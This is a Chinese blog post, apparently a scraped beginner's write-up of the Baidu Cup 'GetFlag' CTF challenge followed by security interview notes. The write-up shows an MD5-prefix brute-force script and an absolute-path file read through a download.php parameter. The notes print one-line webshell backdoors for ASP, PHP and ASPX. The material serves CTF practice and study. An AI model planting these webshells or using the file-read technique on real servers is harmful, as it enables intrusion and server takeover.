IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 2021-08-12day1 菜鸡写着玩玩 百度杯”CTF比赛 十月场 GetFlag -> 正文阅读

[PHP知识库]2021-08-12day1 菜鸡写着玩玩 百度杯”CTF比赛 十月场 GetFlag

第一部分:https://www.ichunqiu.com/ 涉及md5碰撞,文件包含,网站绝对路径
第二部分:佛系面试题

一部分
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

captcha 验证码
一个数的md5值的前六位是afce73 暴破用的代码

import hashlib
i=1
while True:
    hex=hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if  str(hex)[0:6]== 'afce73':
        print('captcha:',i)
        break
    else:
        i+=1

`captcha: 42391425
要注意的是 用pycharm 不用在线编辑 会超时

在这里插入图片描述
耶耶耶在这里插入图片描述
ps :验证码 代码 执行过程
在这里插入图片描述

在这里插入图片描述
只有a.php 能用 可以做知道 flag在web的根目录
在这里插入图片描述用burp查看文件下载路径
在这里插入图片描述
ps 但不用burp 就尝试读取index.php,构造…/inedx.php啥的,但是发现只要文件名包含 任意字符+斜杠 都会提示 flag{wow!!!but not true},看来是屏蔽了目录穿越
ps:header " X-Powered-By: PHP/5.5.9-1ubuntu4.19 " 得知服务器系统是ubuntu,一般网站的路径即为 /var/www/html

在这里插入图片描述将url路径改成/Challenges/file/download.php?f=flag.php发现什么也没有,然后换成/Challenges/file/download.php?f=…/flag.php,发现
在这里插入图片描述
/Challenges/file/download.php?f=/var/www/html/Challenges/flag.php试一下

打开发现是源代码
在这里插入图片描述
源码中提示:post方式提交flag参数,而且出现’`’, ‘$’, ‘*’, ‘#’, ‘:’, ‘\’, ‘"’, “’”, ‘(’, ‘)’, ‘.’, '>'都会被替换成空格,,而且参数的长度必须小于13且参数中不包含return的字符串,才能执行eval函数。
执行了一个eval()函数,要在代码末尾添加分号来结束一行代码,所以传入参数要带一个分号,进过eval()函数后分号被去掉
所以flag的参数为flag;用渗透版火狐进行尝试:
没反应? 查看源码就可以看见了噜
在这里插入图片描述

======================================================================
二部分面试题 先整简单地吧 难的也不会。。
1.什么是 WebShell?
WebShell 就是以 asp、php、jsp 等网页文件形式存在的─种命令执行环 境,也可以将其称做为─种网页后门。黑客在入侵了─个网站后,通常会将这些 asp 或 php 后门文件与网站服务器 WEB 目录下正常的网页文件混在─起,然后 就可以使用浏览器来访问这些 asp 或者 php 后门,得到─个命令执行环境,以达 到控制网站服务器的目的(可以上传下载文件,查看数据库,执行任意程序命令
等)。
2.SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远 程登录会话和其他网络服务提供安全性的协议
3.一句话木马
asp 一句话木马:
<%execute(request(“value”))%>
php 一句话木马:<?php@eval($_POST[value]);?>
变形:<?php$x=$_GET[‘z’];@eval(“$x;”);?>
aspx 一句话木马:
<%@ PageLanguage=“Jscript”%>
<%eval(Request.Item[“value”])%>
4. NAT(网络地址转换)协议
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5.内网穿透
即 NAT 穿透,采用端口映射,让外网的电脑找到处于内网的电脑,同时也可基
于 HTTP/2 实现 web 内网穿透。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-14 13:46:45  更:2021-08-14 13:49:57 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 12:42:23-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码